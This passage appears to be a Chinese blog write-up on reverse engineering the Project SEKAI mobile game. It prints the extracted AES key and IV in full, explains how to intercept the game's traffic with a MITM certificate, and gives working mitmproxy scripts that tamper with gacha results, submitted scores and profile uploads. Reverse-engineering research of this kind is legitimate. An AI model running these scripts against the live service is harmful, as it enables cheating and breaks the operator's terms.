19
        utils::MemoryMappedFile::Unmap(fileBuffer);
20
        fileBuffer = NULL;
21
        return NULL;
22
    }
23

24
    return fileBuffer;
25
}

展开收起

这段代码的特征和文章某手游il2cpp逆向分析----libtprt保护中的例子极其相似，对照进行分析

v7 = osFileOpen((__int64)v14, 3, 1u, 1u, 0, &error); 读取文件后紧跟着异常处理，然后进 utilsMemoryMappedFileMap

jp-6.4.0 提取 `global-metadata.dat`#

20260401 补

取 base.apk 中的 global-metadata.dat，发现一样有加密

绘制直方图：

jp-6.4.0 base.apk global-metadata.dat 直方图

观察直方图，仍然有明显的统计特征，信息熵较小，排除 AES/DES，仍然考虑传统的循环异或

dd 或 GG 提取内存中的 global-metadata.dat

Terminal window

1
:/proc/5511 # cat maps | grep "metadata"
2
708946341000-708947cc8000 rw-p 00000000 08:23 5114671                    /storage/emulated/0/Android/data/com.sega.pjsekai/files/il2cpp/Metadata/global-metadata.dat

将 dumper 出来的和 apk 中的进行 xor，辅助脚本如下

1
import sys
2

3

4
def main():
5
    if len(sys.argv) != 4:
6
        print(f"Usage: python {sys.argv[0]} <file1> <file2> <output>")
7
        raise SystemExit(1)
8

9
    file1, file2, output = sys.argv[1], sys.argv[2], sys.argv[3]
10
    chunk_size = 1024 * 1024
11

12
    with open(file1, "rb") as f1, open(file2, "rb") as f2, open(output, "wb") as out:
13
        while True:
14
            b1 = f1.read(chunk_size)
15
            b2 = f2.read(chunk_size)
16

17
            if not b1 or not b2:
18
                break
19

20
            n = min(len(b1), len(b2))
21
            out.write(bytes(x ^ y for x, y in zip(b1[:n], b2[:n])))
22

23

24
if __name__ == "__main__":
25
    main()

展开收起

验证了循环异或的猜想，但密钥已不是当年的密钥

dump xor apk

于是将异或结果文件与 apk 中的文件再次异或（或截断 dumper 中文件），可以得到明文 global-metadata.dat，这里给出明文的 MD5 供复现参考 724056876AEA9BC85D514378F504627A

再从 /data/app/xxx/xxx/lib/arm64/libil2cpp.so 提取了一份 libil2cpp.so 并从内存中提取了两份看起来像的 ELF 文件

经 il2cppdumper 验证，/data/app/ 中的 libil2cpp.so 是最合适且有效的

导入 IDA 分析并重建符号即可

获取 AES key (成功)#

配置工具链 root 物理机 + frida + frida-il2cpp-bridge

hook 下面脚本

脚本来自 Project SEKAI 逆向 - 笔记归档 - IL2CPP 动态调用 runtime

1
import "frida-il2cpp-bridge";
2

3
declare namespace console {
4
    function log(...args: any[]): void;
5
}
6

7
Il2Cpp.perform(() => {
8

9
    Il2Cpp.domain.assemblies.forEach((i)=>{
10
        console.log(i.name);
11
    })
12

13
    console.log("started")
14
    const game = Il2Cpp.domain.assembly("Assembly-CSharp").image;
15
    const apiManager = game.class("Sekai.APIManager");
16
    Il2Cpp.gc.choose(apiManager).forEach((instance: Il2Cpp.Object) => {
17
        console.log("instance found")
18
        const crypt = instance.method<Il2Cpp.Object>("get_Crypt").invoke();
19
        const aes = crypt.field<Il2Cpp.Object>("aesAlgo");
20
        const key = aes.value.method("get_Key").invoke();
21
        const iv = aes.value.method("get_IV").invoke();
22
        console.log(key);
23
        console.log(iv);
24
    });
25
});

展开收起

成功捕获 key 和 iv

1
# key = [103,50,102,99,67,48,90,99,122,78,57,77,84,74,54,49]
2
# iv = [109,115,120,51,73,86,48,105,57,88,69,53,117,89,90,49]
3

4
key = b'g2fcC0ZczN9MTJ61'
5
iv = b'msx3IV0i9XE5uYZ1'

API 分析#

MITM#

工具：mitmproxy WireGurad MuMu模拟器

可以参阅详细教程 Mitmproxy方案使用教程也可以参考下面简略教程

在 PC 上安装 mitmproxy
在电脑端安装证书 C:\Users\用户\.mitmproxy\mitmproxy-ca.p12
将 C:\Users\用户\.mitmproxy\mitmproxy-ca-cert.cer 重命名为 c8750f0d.0
将 c8750f0d.0 移动到安卓设备的 /system/etc/security/cacerts/c8750f0d.0 或通过模块安装到系统 CA
电脑端运行 mitmweb -m wireguard --no-http2 -s 脚本.py --set termlog_verbosity=warn --ignore 这里输入你的IP地址 启动 mitmproxy
安卓端启动 wireguard 并扫码连接

至此可以形成这样的代理链

1
正常情况下
2
MobileDevice  -------->  -------->  -------->  --------> --------> The Server
3
                           - - ->X  mitmproxy (but not trut)
4

5
使用 MITM
6
MobileDevice  -------->  --------> mitmproxy  - - - - >  - - - - > The Server
7
(With MITM CA)                         |
8
                                       |  (if redirection rule is set)
9
                                       v
10
                                Hacker's Server

API URLs#

抓包发现主要有如下几个地址 (My Sekai 烤森除外，这个好像是特殊的 api)

1
https://production-game-api.sekai.colorfulpalette.org -> 最最最主要的 api, GET POST PUT 都有
2
https://game-version.sekai.colorfulpalette.org -> 只在启动时请求, 返回字段包含 profile assetbundleHostHash domain, 其中 domain 总为 https://production-game-api.sekai.colorfulpalette.org
3
https://issue.sekai.colorfulpalette.org -> 并不常见, 似乎只在有问题的时候才会
4
https://cdp.cloud.unity3d.com/v1/events -> u3d 收集信息的地址, 不用搭理

只要第一个 api 即可实现基本游玩需求

分析加密#

第一层显而易见是 HTTP，使用 mitmproxy 轻松解决

接下来的分析还是来自 Project SEKAI 逆向 - 笔记归档，先是一层 AES-CBC，密钥和初始化向量在本文的 动态分析-获取AES key 中获取

然后是 MessagePack 格式的信息，可以直接解码得到 json

临时分析时可以使用 CyberChef 对流量包轻松解密

为了便于 mitmproxy 自动化抓包解密和后期可能的 PS 计划，编写 python 加解密脚本如下

1
import json
2
import msgpack
3
from Crypto.Cipher import AES
4
from Crypto.Util.Padding import pad, unpad
5

6
# get key and iv from frida-il2cpp-bridge first
7
key = b'g2fcC0ZczN9MTJ61'
8
iv = b'msx3IV0i9XE5uYZ1'
9

10
def decrypt_aes_cbc(data: bytes) -> bytes:
11
    cipher = AES.new(key, AES.MODE_CBC, iv)
12
    decrypted_data = unpad(cipher.decrypt(data), AES.block_size)
13
    return decrypted_data
14

15
def encrypt_aes_cbc(data: bytes) -> bytes:
16
    cipher = AES.new(key, AES.MODE_CBC, iv)
17
    padded_data = pad(data, AES.block_size)
18
    encrypted_data = cipher.encrypt(padded_data)
19
    return encrypted_data
20

21
def encode_msgpack(data: dict) -> bytes:
22
    if data is None:
23
        raise ValueError("Input data for encode_msgpack cannot be None")
24
    packed = msgpack.packb(data, use_bin_type=True)
25
    if not isinstance(packed, bytes):
26
        raise TypeError("msgpack.packb did not return bytes")
27
    return packed
28

29
def decode_msgpack(data: bytes) -> dict:
30
    return msgpack.unpackb(data, raw=False)
31

32
def pjsk_encode_msgpack(data: dict) -> bytes:
33
    packed = encode_msgpack(data)
34
    encrypted = encrypt_aes_cbc(packed)
35
    return encrypted
36

37
def pjsk_decode_msgpack(data: bytes) -> dict:
38
    decrypted = decrypt_aes_cbc(data)
39
    decoded = decode_msgpack(decrypted)
40
    return decoded

展开收起

注：除了极个别 request 中是 16 字节的 magic payload (在本文的测试环境和测试账号中是 ffa3bd6214f33fe73cb72fee2262bedb) 外，其余所有 request/response 的payload 均以该方法加密，本文的剩余部分将直接解密不再重复强调

20260604 补充：

如图，所谓 Magic Payload 实际上只是零字节的 AES-CBC 加密，如果禁用 unpad 就能发现了。我明明应当第一时间捕捉到这个关键点，却没有及时发现问题，为此感到十分羞愧。

[整活] 十连十彩 (成功)#

在正式 API 分析前，整个活

目的：在不侵害原 colorful stage 任何利益的前提下，获得十连十彩的视频

观察发现抽卡的时候会向形如 https://production-game-api.sekai.colorfulpalette.org/api/user/1145141919810/gacha/803/gachaBehaviorId/3139?isPriorityUsePaidJewel=False 的 API 发送 request，并在 response 中返回一大堆东西，response 的 obtainPrizes 键下有十个卡牌信息，便是抽卡结果信息，例如

1
"obtainPrizes": [
2
    {
3
        "card": {
4
            "resourceId": 1236,
5
            "resourceType": "card",
6
            "resourceLevel": 1,
7
            "quantity": 1
8
        },
9
        "newFlg": true,
10
        "gachaLotteryType": "normal",
11
        "costume3d": [
12
            {
13
                "resourceId": 844137,
14
                "resourceType": "costume_3d",
15
                "resourceLevel": 0,
16
                "quantity": 1
17
            },
18
            {
19
                "resourceId": 844138,
20
                "resourceType": "costume_3d",
21
                "resourceLevel": 0,
22
                "quantity": 1
23
            },
24
            {
25
                "resourceId": 844161,
26
                "resourceType": "costume_3d",
27
                "resourceLevel": 0,
28
                "quantity": 1
29
            }
30
        ],
31
        "cardExtra": []
32
    },
33
    {
34
        "card": {
35
            "resourceId": 972,
36
            "resourceType": "card",
37
            "resourceLevel": 1,
38
            "quantity": 1
39
        },
40
        "newFlg": false,
41
        "gachaLotteryType": "normal",
42
        "costume3d": [],
43
        "cardExtra": []
44
    },
45
    {
46
        "card": {
47
            "resourceId": 127,
48
            "resourceType": "card",
49
            "resourceLevel": 1,
50
            "quantity": 1
51
        },
52
        "newFlg": false,
53
        "gachaLotteryType": "normal",
54
        "costume3d": [],
55
        "cardExtra": []
56
    },
57
    {
58
        "card": {
59
            "resourceId": 10,
60
            "resourceType": "card",
61
            "resourceLevel": 1,
62
            "quantity": 1
63
        },
64
        "newFlg": false,
65
        "gachaLotteryType": "normal",
66
        "costume3d": [],
67
        "cardExtra": []
68
    },
69
    {
70
        "card": {
71
            "resourceId": 316,
72
            "resourceType": "card",
73
            "resourceLevel": 1,
74
            "quantity": 1
75
        },
76
        "newFlg": false,
77
        "gachaLotteryType": "normal",
78
        "costume3d": [],
79
        "cardExtra": []
80
    },
81
    {
82
        "card": {
83
            "resourceId": 26,
84
            "resourceType": "card",
85
            "resourceLevel": 1,
86
            "quantity": 1
87
        },
88
        "newFlg": false,
89
        "gachaLotteryType": "normal",
90
        "costume3d": [],
91
        "cardExtra": []
92
    },
93
    {
94
        "card": {
95
            "resourceId": 431,
96
            "resourceType": "card",
97
            "resourceLevel": 1,
98
            "quantity": 1
99
        },
100
        "newFlg": false,
101
        "gachaLotteryType": "normal",
102
        "costume3d": [],
103
        "cardExtra": []
104
    },
105
    {
106
        "card": {
107
            "resourceId": 431,
108
            "resourceType": "card",
109
            "resourceLevel": 1,
110
            "quantity": 1
111
        },
112
        "newFlg": false,
113
        "gachaLotteryType": "normal",
114
        "costume3d": [],
115
        "cardExtra": []
116
    },
117
    {
118
        "card": {
119
            "resourceId": 401,
120
            "resourceType": "card",
121
            "resourceLevel": 1,
122
            "quantity": 1
123
        },
124
        "newFlg": false,
125
        "gachaLotteryType": "normal",
126
        "costume3d": [],
127
        "cardExtra": []
128
    },
129
    {
130
        "card": {
131
            "resourceId": 148,
132
            "resourceType": "card",
133
            "resourceLevel": 1,
134
            "quantity": 1
135
        },
136
        "newFlg": false,
137
        "gachaLotteryType": "normal",
138
        "costume3d": [],
139
        "cardExtra": []
140
    }
141
],

展开收起

obtainPrizes 下一共 10 个卡面信息，resourceId 为卡面 ID，可在 SekaiViewer 快速获取，newFlg 指示是否为第一次抽到， newFlg 为 true 且具有服装的真四星需要附加 costume3d 信息

因此思路很简单，截取服务器返回包，改 resourceId 为十个四星卡即可

exp 如下

1
# the more miku the better!
2
# author: [MetaMiku](https://github.com/MetaMikuAI)
3

4
from mitmproxy import http
5
from Crypto.Cipher import AES
6
from Crypto.Util.Padding import pad, unpad
7
import msgpack
8
import json
9

10

11
# get key and iv from frida-il2cpp-bridge first
12
key = b'g2fcC0ZczN9MTJ61'
13
iv = b'msx3IV0i9XE5uYZ1'
14

15

16
target_url_list = [
17
    "https://production-game-api.sekai.colorfulpalette.org",
18
]
19

20

21
def decrypt_aes_cbc(data: bytes) -> bytes:
22
    cipher = AES.new(key, AES.MODE_CBC, iv)
23
    decrypted_data = unpad(cipher.decrypt(data), AES.block_size)
24
    return decrypted_data
25

26
def encrypt_aes_cbc(data: bytes) -> bytes:
27
    cipher = AES.new(key, AES.MODE_CBC, iv)
28
    padded_data = pad(data, AES.block_size)
29
    encrypted_data = cipher.encrypt(padded_data)
30
    return encrypted_data
31

32

33
def encode_msgpack(data: dict) -> bytes:
34
    if data is None:
35
        raise ValueError("Input data for encode_msgpack cannot be None")
36
    packed = msgpack.packb(data, use_bin_type=True)
37
    if not isinstance(packed, bytes):
38
        raise TypeError("msgpack.packb did not return bytes")
39
    return packed
40

41
def decode_msgpack(data: bytes) -> dict:
42
    return msgpack.unpackb(data, raw=False)
43

44

45
def dict_to_pretty_json(data: dict) -> str:
46
    return json.dumps(data, ensure_ascii=False, indent=2)
47

48

49
def pjsk_encrypt_msgpack(data: dict) -> bytes:
50
    packed = encode_msgpack(data)
51
    encrypted = encrypt_aes_cbc(packed)
52
    return encrypted
53

54

55
def pjsk_decrypt_msgpack(data: bytes) -> dict:
56
    decrypted = decrypt_aes_cbc(data)
57
    decoded = decode_msgpack(decrypted)
58
    return decoded
59

60

61
def hack_gacha_results(data: dict) -> dict:
62
    target_data = {
63
        "card": {
64
            "resourceId": 1235,
65
            "resourceType": "card",
66
            "resourceLevel": 1,
67
            "quantity": 1
68
        },
69
        "newFlg": False,
70
        "gachaLotteryType": "normal",
71
        "costume3d": [],
72
        "cardExtra": []
73
    }
74

75

76
    gacha_results = data["obtainPrizes"]
77
    for idx, result in enumerate(gacha_results):
78
        id = result["card"]["resourceId"]
79
        print(f"Gacha ID: {id}")
80
        gacha_results[idx] = target_data
81

82
    data["obtainPrizes"] = gacha_results
83
    return data
84

85
def request(flow: http.HTTPFlow) -> None: # type: ignore
86
    for target_url in target_url_list:
87
        print(flow.request.pretty_url)
88
        if flow.request.pretty_url.startswith(target_url):
89
            pass
90

91

92
def response(flow: http.HTTPFlow) -> None: # type: ignore
93
    for target_url in target_url_list:
94
        print(flow.request.pretty_url)
95
        if flow.request.pretty_url.startswith(target_url):
96
            if "gachaBehaviorId" in flow.request.pretty_url:
97
                original_data = pjsk_decrypt_msgpack(flow.response.content)
98
                modified_data = hack_gacha_results(original_data)
99
                re_encrypted = pjsk_encrypt_msgpack(modified_data)
100
                flow.response.content = re_encrypted
101

102
# mitmweb -m wireguard --no-http2 -s ./mitmproxy.py --set termlog_verbosity=info --ignore 127.0.0.1

展开收起

the more Miku the better!

分析 JWT (基本完成)#

观察到流量中有大量 JWT 以 X-Session-Token credential sessionToken signature param 等处出现
除 param 外，所有 jwt 均包含用户的 userId 和一个未知含义的 uuid
所有 jwt 的签名密钥均未知 (也有可能是我菜，尝试 frida hook 了一些哈希函数无果，大概本地完全不验签，只有服务器会验签)
所有 jwt 的 header 均为：

1
{
2
  "typ": "JWT",
3
  "alg": "HS256"
4
}

速写了一段用于 JWT 分析（加解密函数略）

1
from mitmproxy import http
2

3
LOG_FILE = "analyze_jwt.txt"
4

5
targets = [
6
    "https://production-game-api.sekai.colorfulpalette.org"
7
]
8

9
def request(flow: http.HTTPFlow) -> None:
10
    for target in targets:
11
        if flow.request.pretty_url.startswith(target):
12
            with open(LOG_FILE, "a") as f:
13
                f.write(f"Request: {flow.request.method} {flow.request.pretty_url}\n")
14
                if "X-Session-Token" in flow.request.headers:
15
                    f.write(f"X-Session-Token: {flow.request.headers['X-Session-Token']}\n")
16
                if flow.request.content:
17
                    if len(flow.request.content) == 16:
18
                        return
19

20
                    try:
21
                        data = pjsk_decode_msgpack(flow.request.content)
22
                        jwt_fields = detect_jwt_in_json(data)
23
                        if jwt_fields:
24
                            f.write("Detected JWT fields in JSON payload:\n")
25
                            f.write(json.dumps(jwt_fields, indent=2) + "\n")
26
                    except json.JSONDecodeError:
27
                        pass
28
                f.write("\n")
29

30
def response(flow: http.HTTPFlow) -> None:
31
    for target in targets:
32
        if flow.request.pretty_url.startswith(target):
33
            with open(LOG_FILE, "a") as f:
34
                f.write(f"Response: {flow.request.method} {flow.request.pretty_url}\n")
35
                if "X-Session-Token" in flow.response.headers:
36
                    f.write(f"X-Session-Token: {flow.response.headers['X-Session-Token']}\n")
37
                if flow.response.content:
38
                    if len(flow.request.content) == 16:
39
                        return
40
                    try:
41
                        data = pjsk_decode_msgpack(flow.response.content)
42
                        jwt_fields = detect_jwt_in_json(data)
43
                        if jwt_fields:
44
                            f.write("Detected JWT fields in JSON payload:\n")
45
                            f.write(json.dumps(jwt_fields, indent=2) + "\n")
46
                    except json.JSONDecodeError:
47
                        pass
48
                f.write("\n\n")
49

50
# 毕竟是临时的脚本, 嵌套多了一点就多一点吧 -- MetaMiku
51

52
def is_jwt(token: str) -> bool:
53
    parts = token.split('.')
54
    return len(parts) == 3 and all(part.isascii() for part in parts) and not parts[0].startswith('http') and len(token) > 32
55

56
def detect_jwt_in_json(data: dict) -> dict:
57
    jwt_fields = {}
58
    for key, value in data.items():
59
        if isinstance(value, str) and is_jwt(value):
60
            jwt_fields[key] = value
61
        elif isinstance(value, dict):
62
            nested_jwt = detect_jwt_in_json(value)
63
            if nested_jwt:
64
                jwt_fields[key] = nested_jwt
65
        elif isinstance(value, list):
66
            for item in value:
67
                if isinstance(item, dict):
68
                    nested_jwt = detect_jwt_in_json(item)
69
                    if nested_jwt:
70
                        jwt_fields[key] = nested_jwt
71
    return jwt_fields

展开收起

启动游戏时会发送第一个请求 GET /api/system 不携带 X-Session-Token
然后访问 /api/user/<userId>/auth?refreshUpdatedResources=False 并在 payload 中携带 credential，每次登录的时候都会携带该 credential 不变 (该 credential 与用户绑定，所谓更新丢账号应该就是丢的它)，服务端返回 sessionToken
在此之后，客户端的所有请求都需携带该 sessionToken
服务端除 /api/system 和 /api/information 外，都需要返回新的 sessionToken，客户端收到后更新 sessionToken，并在下次请求中携带新的 sessionToken（平时网络不好导致卡退到主界面大概就是因为这个不同步了吧）保证了前向安全性
该 credential 不随 chong’xin登录 或 设置引继码 而变，但是会在确认继承引继码时接收服务器分发的新的 credential
userRegistration 的 signature 似乎永远不变
注：jwt 的签名密钥无从得知，如果需要在官方服务器和个人服务器之间反复测试的话，个人服务器不得分发新的 credential （但是可以重放），以免账号丢失

注册新账号#

携带本机设备硬件信息访问 /api/user

1
{
2
    "platform": "Android",
3
    "deviceModel": "Samsung SM-S9210",
4
    "operatingSystem": "Android OS 12 / API-32 (V417IR/1974)"
5
}

服务端将返回一个包括 userRegistration credential updatedResources 三个字段的新用户包

客户端携带 credential 访问 /api/user/<user_id>/auth?refreshUpdatedResources=False 以请求本次会话的初始 X-Session-Token （注：此次请求可能会携带旧账号的 X-Session-Token），该包其余部分与新账号无关，注意到其中有 suiteMasterSplitPath 字段如

1
{
2
    "sessionToken": "脱敏",
3
    "appVersion": "5.6.0",
4
    "multiPlayVersion": "miku",
5
    "dataVersion": "5.6.0.30",
6
    "assetVersion": "5.6.0.30",
7
    "removeAssetVersion": "1.13.0.30",
8
    "assetHash": "5242f35c-e32d-bafb-a488-74b247052713",
9
    "appVersionStatus": "available",
10
    "isStreamingVirtualLiveForceOpenUser": false,
11
    "deviceId": "c8b6d5f1-f96a-4588-b650-c2a7452e4bd6",
12
    "updatedResources": {},
13
    "suiteMasterSplitPath": [
14
        "suitemasterfile/5.6.0.30/00_bb2194a8ea47722555dd056f8cc2a2d4563ea2041d4a3657b427285dca156e41",
15
        "suitemasterfile/5.6.0.30/01_bb2194a8ea47722555dd056f8cc2a2d4563ea2041d4a3657b427285dca156e41",
16
        "suitemasterfile/5.6.0.30/02_bb2194a8ea47722555dd056f8cc2a2d4563ea2041d4a3657b427285dca156e41",
17
        "suitemasterfile/5.6.0.30/03_bb2194a8ea47722555dd056f8cc2a2d4563ea2041d4a3657b427285dca156e41",
18
        "suitemasterfile/5.6.0.30/04_bb2194a8ea47722555dd056f8cc2a2d4563ea2041d4a3657b427285dca156e41",
19
        "suitemasterfile/5.6.0.30/05_bb2194a8ea47722555dd056f8cc2a2d4563ea2041d4a3657b427285dca156e41",
20
        "suitemasterfile/5.6.0.30/06_bb2194a8ea47722555dd056f8cc2a2d4563ea2041d4a3657b427285dca156e41"
21
    ],
22
    "obtainedBondsRewardIds": []
23
}

展开收起

然后客户端则携带 X-Session-Token 先后访问了

1
GET /api/suitemasterfile/5.6.0.30/00_bb2194a8ea47722555dd056f8cc2a2d4563ea2041d4a3657b427285dca156e41
2
GET /api/suitemasterfile/5.6.0.30/01_bb2194a8ea47722555dd056f8cc2a2d4563ea2041d4a3657b427285dca156e41
3
GET /api/suitemasterfile/5.6.0.30/02_bb2194a8ea47722555dd056f8cc2a2d4563ea2041d4a3657b427285dca156e41
4
GET /api/suitemasterfile/5.6.0.30/03_bb2194a8ea47722555dd056f8cc2a2d4563ea2041d4a3657b427285dca156e41
5
GET /api/suitemasterfile/5.6.0.30/04_bb2194a8ea47722555dd056f8cc2a2d4563ea2041d4a3657b427285dca156e41
6
GET /api/suitemasterfile/5.6.0.30/05_bb2194a8ea47722555dd056f8cc2a2d4563ea2041d4a3657b427285dca156e41
7
GET /api/suitemasterfile/5.6.0.30/06_bb2194a8ea47722555dd056f8cc2a2d4563ea2041d4a3657b427285dca156e41

经测验，虽然携带了 X-Session-Token，但实际上需要的是包含完整 CloudFront 的 Cookie

巨长的数据，编码后都有这么大，霓虹人太可怕了

[整活]强制 All Perfect#

警告：此脚本存在封号风险，切勿使用

image-20250927142928501

1
from mitmproxy import http
2
from time import time
3
from crypto import prsk_dec, prsk_enc
4
import json
5
from random import randint
6

7

8
def request(flow: http.HTTPFlow) -> None:
9
    # /api/user/<userId>/live/<userLiveId>
10
    if "/api/user/" in flow.request.pretty_url and "/live/" in flow.request.pretty_url:
11
        if flow.request.content is None:
12
            return
13
        body = prsk_dec(flow.request.content)
14
        if "score" in body:
15
            body["score"] = randint(90000, 120000)
16
            body["life"] = 1000
17
            perfectCount = body["perfectCount"]
18
            greatCount = body["greatCount"]
19
            goodCount = body["goodCount"]
20
            badCount = body["badCount"]
21
            missCount = body["missCount"]
22
            maxCombo = body["maxCombo"]
23
            total = perfectCount + greatCount + goodCount + badCount + missCount
24
            body["perfectCount"] = total
25
            body["greatCount"] = 0
26
            body["goodCount"] = 0
27
            body["badCount"] = 0
28
            body["missCount"] = 0
29
            body["maxCombo"] = total
30
            body["tapCount"] = total*2 + randint(0, 100)
31
            flow.request.content = prsk_enc(body)
32
            print(f"Modified live data: {body}")

展开收起

[整活] 自定义名片预览图#

目标：上传自定义图片

观察发现用完名片后，会向 https://production-game-api.sekai.colorfulpalette.org/api/user/{user_id}/custom-profile/1/custom-profile-card/{card_id} 上传自定义名片数据，其中新增名片为 POST，修改名片为 PUT

Request 数据如下

1
{
2
    "thumbnail": "此处为图片的预览图，格式为 JFIF base64，大小为 1190w * 528h",
3
    "customProfileCard": {
4
        "version": 3,
5
        "generals": [],
6
        "generalBackgrounds": [],
7
        "storyBackgrounds": [],
8
        "standMembers": [],
9
        "cardMembers": [],
10
        "honors": [],
11
        "bondsHonors": [],
12
        "texts": [
13
            {
14
                "objectData": {
15
                    "position": {
16
                        "x": -18.276344299316406,
17
                        "y": -13.701630592346191,
18
                        "z": 0
19
                    },
20
                    "scale": {
21
                        "x": 1,
22
                        "y": 1,
23
                        "z": 1
24
                    },
25
                    "rotation": {
26
                        "x": 0,
27
                        "y": 0,
28
                        "z": 0,
29
                        "w": 1
30
                    },
31
                    "layer": 0,
32
                    "lock": false,
33
                    "visible": true
34
                },
35
                "text": "hello",
36
                "fontId": 1,
37
                "type": 513,
38
                "colorId": 1,
39
                "size": 24,
40
                "outlineColorId": 1,
41
                "outlineSize": 0,
42
                "lineSpacing": 0
43
            }
44
        ],
45
        "collections": [],
46
        "others": [],
47
        "shapes": [],
48
        "stamps": []
49
    }
50
}

展开收起

很简单，自己构造一个相同大小的 jpeg，b64 编码后上传即可

一个基本的 exp 如下

1
# Patch custom-profile-card
2
from mitmproxy import http
3
from crypto import prsk_dec, prsk_enc # type: ignore
4

5
target_image_b64 = None
6
assert target_image_b64 is not None, "Please set target_image_b64 variable"
7

8
def request(flow: http.HTTPFlow) -> None:
9
    if flow.request.method in ["POST", "PUT"] and "custom-profile-card" in flow.request.pretty_url:
10
        if flow.request.content is None:
11
            return
12
        request_data = prsk_dec(flow.request.content)
13
        request_data['thumbnail'] = target_image_b64
14
        flow.request.content = prsk_enc(request_data)

成品图：

继续可以搞一个大一点的图

先用 ffmpeg 切片并压缩

Terminal window展开收起

1
ffmpeg -i input.jpg -filter_complex \
2
"[0:v]crop=iw/3:ih/3:0:0[out1]; \
3
 [0:v]crop=iw/3:ih/3:iw/3:0[out2]; \
4
 [0:v]crop=iw/3:ih/3:2*iw/3:0[out3]; \
5
 [0:v]crop=iw/3:ih/3:0:ih/3[out4]; \
6
 [0:v]crop=iw/3:ih/3:iw/3:ih/3[out5]; \
7
 [0:v]crop=iw/3:ih/3:2*iw/3:ih/3[out6]; \
8
 [0:v]crop=iw/3:ih/3:0:2*ih/3[out7]; \
9
 [0:v]crop=iw/3:ih/3:iw/3:2*ih/3[out8]; \
10
 [0:v]crop=iw/3:ih/3:2*iw/3:2*ih/3[out9]" \
11
-map "[out1]" 1.jpg \
12
-map "[out2]" 2.jpg \
13
-map "[out3]" 3.jpg \
14
-map "[out4]" 4.jpg \
15
-map "[out5]" 5.jpg \
16
-map "[out6]" 6.jpg \
17
-map "[out7]" 7.jpg \
18
-map "[out8]" 8.jpg \
19
-map "[out9]" 9.jpg

展开收起

exp

1
from mitmproxy import http
2
from base64 import b64encode
3
from crypto import prsk_dec, prsk_enc # type: ignore
4

5
target_dir_path = '~/prsk/test/patchimages/'
6

7

8
# POST/PUT https://production-game-api.sekai.colorfulpalette.org/api/user/{user_id}/custom-profile/1/custom-profile-card/{card_id}
9
def request(flow: http.HTTPFlow) -> None:
10
    if flow.request.method in ["POST", "PUT"] and "custom-profile-card" in flow.request.pretty_url:
11
        if flow.request.content is None:
12
            return
13
        card_id = flow.request.pretty_url.split("/")[-1]
14
        request_data = prsk_dec(flow.request.content)
15
        target_image_path = target_dir_path + str(card_id) + '.jpg'
16
        with open(target_image_path, 'rb') as f:
17
            image = f.read()
18

19
        request_data['thumbnail'] = b64encode(image).decode('utf-8')
20
        flow.request.content = prsk_enc(request_data)
21
        # print(request_data) # check the modified request data but not actually send it
22
        print(f"Replaced thumbnail for card_id {card_id} from {target_image_path}")

展开收起

成果图

不过预览图应该是仅自己可见的，要想真改还得想办法注入名片

一点碎碎念#

20260331，在给游戏「东方夜雀食堂」做了五个多月的 mod 后，最近得空回来看一下，但是发现最近怎么 PS 遍地飞了？？小小打探一下，好像没比我的进度多多少（？

这太怪了，而且这大张旗鼓的，有点可怕。

不过在有群 u 说开源方面我的进度是最快的，我还是很开心的 heart~

修改 API-url#

这是做 PS 不得不品的一环

注意，以下方法并不是可以也绝不是允许非法公开分发版本的制作方式，仅仅是技术讨论以及对下文“防护意见”的讨论 任何人不允许进行实际的公开分发行为

偶然搞到一份 API-url 改到 127.0.0.1 的样本，CN-6.0.0

解包简单 grep 下

Terminal window

1
└─# grep -rn "127.0.0.1" .
2
grep: ./assets/bin/Data/Managed/Metadata/global-metadata.dat: binary file matches
3
./assets/url_config.json:4:    "passport_host_merge": "127.0.0.1:18081",
4
./assets/url_config.json:6:    "passport_host": "127.0.0.1:18081",
5
./assets/url_config.json:13:    "bsdk_server_url": "http://127.0.0.1:18081/",
6
./assets/url_config.json:14:    "gsdk_server_url": "http://127.0.0.1:18081/",
7
./assets/url_config.json:15:    "gsdk_server_url_sandbox": "http://127.0.0.1:18081/",
8
./assets/url_config.json:22:    "bsdk_host": "127.0.0.1:18081",
9
./assets/url_config.json:24:    "gsdk_host": "127.0.0.1:18081",
10
./assets/url_config.json:26:    "gsdk_host_sandbox": "127.0.0.1:18081",
11
./assets/url_config.json:35:    "geas_host": "http://127.0.0.1:18081/",
12
./assets/url_config.json:36:    "gs_server_url": "http://127.0.0.1:18081/",
13
./assets/url_config.json:38:    "gs_server_url_sandbox": "http://127.0.0.1:18081/",

~~url_config？谁家好人把这么重要的配置直接塞在 apk 里面？经检查 JP-6.4.0 不包含该文件~~

字节代理的两个服的 url_config 位置如下

1
cn-6.0.0.apk/assets/url_config.json
2
tw-6.0.0.xapk/installtime.apk/assets/url_config.json

猜测该文件只是字节渠道服所设计，日服不应有该文件

因此首先考虑审计 cn-6.0.0 的渠道层，推测有关 HOST 表的内容位于 Java 层而不在 il2cpp 层

classes3.dex展开收起

1
package com.bytedance.ttgame.core.init;
2

3
public final class ConfigParserCommon {
4
    private static final String CONFIG_FILE_NAME = "config.json";
5
    private static final String CONFIG_URL_NAME = "url_config.json";
6
    public static ChangeQuickRedirect changeQuickRedirect;
7
    private static Gson sGson = new Gson();
8
    private Config config;
9
    private JsonObject mConfigJson;
10
    private JsonObject mSdkJson;
11

12
    private void parseUrlConfigJsonFile(Context context) throws IOException {
13
        if (PatchProxy.proxy(new Object[]{context}, this, changeQuickRedirect, false, "f979d4a46b8a655f4dc6cc3eb20fc165") != null) {
14
            return;
15
        }
16
        InputStream inputStreamOpen = null;
17
        try {
18
            try {
19
                try {
20
                    inputStreamOpen = context.getAssets().open(CONFIG_URL_NAME);
21
                    byte[] bArr = new byte[inputStreamOpen.available()];
22
                    inputStreamOpen.read(bArr);
23
                    JsonObject asJsonObject = ((JsonObject) new JsonParser().parse(new String(bArr, "UTF-8"))).getAsJsonObject("urls");
24
                    if (asJsonObject != null) {
25
                        this.config.urlConfig = (HashMap) sGson.fromJson(asJsonObject, new TypeToken<HashMap<String, Object>>() { // from class: com.bytedance.ttgame.core.init.ConfigParserCommon.3
26
                        }.getType());
27
                    }
28
                    if (inputStreamOpen != null) {
29
                        inputStreamOpen.close();
30
                    }
31
                } catch (Throwable th) {
32
                    if (inputStreamOpen != null) {
33
                        try {
34
                            inputStreamOpen.close();
35
                        } catch (IOException e) {
36
                            e.printStackTrace();
37
                        }
38
                    }
39
                    throw th;
40
                }
41
            } catch (Exception e2) {
42
                e2.printStackTrace();
43
                if (inputStreamOpen != null) {
44
                    inputStreamOpen.close();
45
                }
46
            }
47
        } catch (IOException e3) {
48
            e3.printStackTrace();
49
        }
50
    }
51
}

展开收起

